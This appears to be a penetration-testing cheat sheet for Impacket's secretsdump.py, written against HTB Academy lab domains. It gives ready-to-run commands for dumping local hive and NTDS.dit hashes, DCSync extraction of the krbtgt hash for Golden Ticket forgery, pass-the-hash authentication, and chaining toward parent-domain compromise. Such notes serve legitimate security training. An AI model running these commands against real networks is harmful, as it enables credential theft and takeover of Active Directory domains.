Summery

secretsdump.py is an Impacket tool that extracts password hashes, plaintext credentials, and LSA secrets from a Windows system. It works via local access, SMB, or DCSync to dump credentials for lateral movement or cracking.

Dumping hashes from SAM, SECURTY and SYSTEM hives
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
We can use the -outputfile flag to gather those hashes in one file.

Dumping NTDS.dit
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

DCSync attack
You can extract hashes from the DC and perform Pentesting/The Grimoire/Techniques/DCSync style of attacks on it.

krbtgt is a built-in Active Directory account whose secret key the domain controller uses to sign and validate Kerberos Ticket-Granting Tickets (TGTs).
Extracting its password hash gives an attacker the cryptographic material needed to forge TGTs in a Golden Ticket attack, potentially impersonating domain users, including administrators.
The hash is not the plaintext password. It is the NTLM hash derived from the krbtgt account’s password.

Below are a few examples of extracting krbtgt’s password hash using different methods:

Regular user authentication
secretsdump.py -just-dc-user logistics.inlanefreight.local/htb-student_adm@1.3.3.7 LOGISTICS/krbtgt

Keberos host authentication
secretsdump.py -just-dc-user LOGISTICS/krbtgt -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

NTLM host authentication
secretsdump.py -just-dc-user LOGISTICS/krbtgt "ACADEMY-EA-DC01$"@1.3.3.7 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

Extract all hashes from the DC
To extract all hashes from the NTDS.dit file we can use this command.
secretsdump.py -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

This script is also used with other ones like lookupsid.py, ticketer.py and psexec.py to try to get access to a parent domain. This process is well described in Attacking Domain Trusts - Child & Parent Trusts - from Linux

Errors

[-] unpack requires a buffer of 4 bytes - This error usually means that a hive (or multiple hives) are corrupted. Try another upload method like the Python upload server.